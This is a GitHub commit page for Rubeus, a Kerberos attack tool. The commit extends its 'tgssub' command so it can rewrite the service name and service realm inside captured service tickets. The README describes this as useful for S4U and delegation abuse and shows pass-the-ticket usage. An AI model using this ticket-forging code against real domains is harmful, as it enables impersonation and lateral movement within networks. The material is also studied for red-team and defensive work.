Skip to content

Commit bec0e35

Browse files
0xe70xe7
authored
Merge pull request #153 from GhostPack/tgssub-change
small modify to tgssub
2 parents 8452430 + 3cea831 commit bec0e35

File tree

4 files changed

+33
-15
lines changed

4 files changed

+33
-15
lines changed

‎README.md‎

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ Rubeus is licensed under the BSD 3-Clause license.
8181
| | \ \| |_| | |_) ) ____| |_| |___ |
8282
|_| |_|____/|____/|_____)____/(___/
8383

84-
v2.2.1
84+
v2.2.3
8585

8686

8787
Ticket requests and renewals:
@@ -274,8 +274,8 @@ Rubeus is licensed under the BSD 3-Clause license.
274274
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
275275

276276
Substitute an sname or SPN into an existing service ticket:
277-
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
278-
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
277+
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
278+
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
279279

280280
Display the current user's LUID:
281281
Rubeus.exe currentluid
@@ -3705,7 +3705,9 @@ Calculating all hash formats:
37053705

37063706
The **tgssub** action will take a service ticket base64 blob/file specification and substitute an alternate service name into the ticket. This is useful for S4U abuse and other scenarios.
37073707

3708-
The `/altservice:X` flag is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's [post on the topic](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) for more information.
3708+
The `/altservice:X` argument is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The former will create a new sname with only the service given, useful for cases where only the hostname is required. The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's [post on the topic](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) for more information.
3709+
3710+
The `/srealm:Y` argument is optional and can be used to change the service realm within the ticket.
37093711

37103712
The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.
37113713

‎Rubeus/Commands/Tgssub.cs‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ public void Execute(Dictionary<string, string> arguments)
1717
string altservice = "";
1818
LUID luid = new LUID();
1919
bool ptt = false;
20+
string srealm = "";
2021

2122
if (arguments.ContainsKey("/luid"))
2223
{
@@ -45,6 +46,11 @@ public void Execute(Dictionary<string, string> arguments)
4546
Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n");
4647
return;
4748
}
49+
50+
if(arguments.ContainsKey("/srealm"))
51+
{
52+
srealm = arguments["/srealm"];
53+
}
4854

4955
if (arguments.ContainsKey("/ticket"))
5056
{
@@ -54,13 +60,13 @@ public void Execute(Dictionary<string, string> arguments)
5460
{
5561
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
5662
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
57-
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid);
63+
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm);
5864
}
5965
else if (File.Exists(kirbi64))
6066
{
6167
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
6268
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
63-
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid);
69+
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm);
6470
}
6571
else
6672
{

‎Rubeus/Domain/Info.cs‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ public static void ShowLogo()
1212
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
1313
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
1414
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
15-
Console.WriteLine(" v2.2.2 \r\n");
15+
Console.WriteLine(" v2.2.3 \r\n");
1616
}
1717

1818
public static void ShowUsage()
@@ -208,8 +208,8 @@ Create a hidden program (unless /show is passed) with random (or user-defined) /
208208
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
209209
210210
Substitute an sname or SPN into an existing service ticket:
211-
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
212-
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
211+
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
212+
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
213213
214214
Display the current user's LUID:
215215
Rubeus.exe currentluid

‎Rubeus/lib/LSA.cs‎

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1564,7 +1564,7 @@ public static byte[] RequestFakeDelegTicket(string targetSPN = "", bool display
15641564
return finalTGTBytes;
15651565
}
15661566

1567-
public static void SubstituteTGSSname(KRB_CRED kirbi, string altsname, bool ptt = false, LUID luid = new LUID())
1567+
public static void SubstituteTGSSname(KRB_CRED kirbi, string altsname, bool ptt = false, LUID luid = new LUID(), string srealm = "")
15681568
{
15691569
// subtitutes in an alternate servicename (sname) into a supplied service ticket
15701570

@@ -1574,19 +1574,29 @@ public static byte[] RequestFakeDelegTicket(string targetSPN = "", bool display
15741574
var parts = altsname.Split('/');
15751575
if (parts.Length == 1)
15761576
{
1577+
name_string.Add(altsname);
15771578
// sname alone
1578-
kirbi.tickets[0].sname.name_string[0] = parts[0]; // ticket itself
1579-
kirbi.enc_part.ticket_info[0].sname.name_string[0] = parts[0]; // enc_part of the .kirbi
1579+
kirbi.tickets[0].sname.name_string = name_string; // ticket itself
1580+
kirbi.enc_part.ticket_info[0].sname.name_string = name_string; // enc_part of the .kirbi
15801581
}
1581-
else if (parts.Length == 2)
1582+
else if (parts.Length > 1)
15821583
{
1583-
name_string.Add(parts[0]);
1584-
name_string.Add(parts[1]);
1584+
foreach (var part in parts)
1585+
{
1586+
name_string.Add(part);
1587+
}
15851588

15861589
kirbi.tickets[0].sname.name_string = name_string; // ticket itself
15871590
kirbi.enc_part.ticket_info[0].sname.name_string = name_string; // enc_part of the .kirbi
15881591
}
15891592

1593+
if (!string.IsNullOrWhiteSpace(srealm))
1594+
{
1595+
Console.WriteLine("[*] Substituting in alternate service realm: {0}", srealm);
1596+
kirbi.tickets[0].realm = srealm.ToUpper();
1597+
kirbi.enc_part.ticket_info[0].srealm = srealm.ToUpper();
1598+
}
1599+
15901600
var kirbiBytes = kirbi.Encode().Encode();
15911601

15921602
LSA.DisplayTicket(kirbi, 2, false, true);

0 commit comments

Comments
 (0)